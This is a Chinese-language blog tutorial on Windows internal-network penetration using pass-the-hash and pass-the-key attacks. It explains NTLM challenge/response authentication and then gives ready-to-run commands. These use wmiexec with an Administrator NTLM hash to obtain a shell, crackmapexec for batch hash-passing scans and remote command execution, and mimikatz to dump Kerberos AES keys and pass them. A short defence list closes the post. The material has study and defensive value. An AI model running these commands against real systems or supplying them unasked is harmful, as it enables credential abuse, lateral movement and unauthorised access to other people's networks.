windows内网渗透PTH/PTK攻击

前言

windows内网渗透中,有三种最常用的pass系列攻击:

  • pass the hash(hash传递攻击,简称pth)
  • pass the ticket(票据传递攻击,简称ptt)
  • pass the key(密钥传递攻击,简称ptk)

1.1 pass the hash攻击

适用情况:

  • 本地账号:默认只有管理员组内账号可以pth
  • 域账号:默认均可pth

1.1.1 NTLM HASH

windows用户hash主要由以下部分组成,其中NTLM-HASH比LM-HASH的安全性要更高:

用户名称:RID:LM-HASH值:NTLM-HASH值

自Windows Vista和Windows Server 2008开始,Windows取消LM hash。另外,如果用户密码长度大于15,也无法生成LM hash。

1.1.2 NTLM网络认证机制

NTLM是一种基于质询/应答 (Challenge/Response )消息交换模式的认证机制,常用于工作组和域环境下身份认证
NTLM认证过程有三步:
协商:主要用于确认双方协议版本(NTLMv1、NTLMv2等)
质询:质询/应答 (Challenge/Response)模式,用于消息交换
验证:验证身份合法性,通常由 Server端或 DC完成这个过程
大致流程如下:

  • 客户端对密码进行哈希处理并缓存密码 hash,丢弃实际的明文密码(不存储),然后将用户名发送到服务器,发起认证请求
  • 服务器生成一个 16字节的随机数,称为质询发送给客户端
  • 客户端使用用户密码Hash 对此质询进行加密,将结果发送给服务器
  • 服务器发送三项数据给域控制器(DC):
  1. User name
  2. 发送给客户端的质询
  3. 从客户端接收到的加密结果
  • 域控制器使用 User name从 AD中检索该用户密码的 NTLM Hash,并使用此 NTLM Hash来加密该质询,然后把这个值和客户端计算的响应值加密结果进行比较。如果它们相同,则验证成功

以上步骤中,用户的登录密码 Hash 即为 NTLM Hash,经过NTLM Hash加密的结果在网络协议中称之为 Net NTLM Hash

1.1.3 使用wmiexec拿shell

  • wmiexec.exe地址:https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe
  • wmiexec.py地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
    windows下使用wmiexec.exe通过pth方式拿shell:
    wmiexec.exe -hashes 00000000000000000000000000000000:9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 ./Administrator@192.168.xx.xx
    在这里插入图片描述
    此处是通过Administrator用户的NTLM HASH传递攻击拿shell,登录的域为.代表本地域

1.1.4 使用crackmapexec批量扫描

crackmapexec是一个可以对多个目标机进行批量PTH扫描,且支持命令执行等功能,工具地址:https://github.com/byt3bl33d3r/CrackMapExec
批量扫描命令: /usr/local/python3/bin/crackmapexec --timeout 3 smb target ip.txt -u Administrator -H 9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 -d .
在这里插入图片描述
命令执行:/usr/local/python3/bin/crackmapexec smb target 192.168.xx.xx -u Administrator -H 9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 -d . -x ipconfig
在这里插入图片描述

1.2 pass the key攻击

ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。

  1. 使用mimikatz "privilege::debug" "sekurlsa::ekeys"命令获取aes的hmac
    在这里插入图片描述
  2. 使用mimi进行测试:sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
    在这里插入图片描述
  3. 在弹出的cmd窗口中输入net use命令进行测试
    在这里插入图片描述
  4. wmiexec和crackmapexec同样支持该种方式攻击,可以自行尝试

防御措施

  1. windows安装kb2871997补丁
  2. 使用Kerberos认证代替NTLM认证
  3. 开启PAC(Privileged Attribute Certificate)特权属性证书保护功能
  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值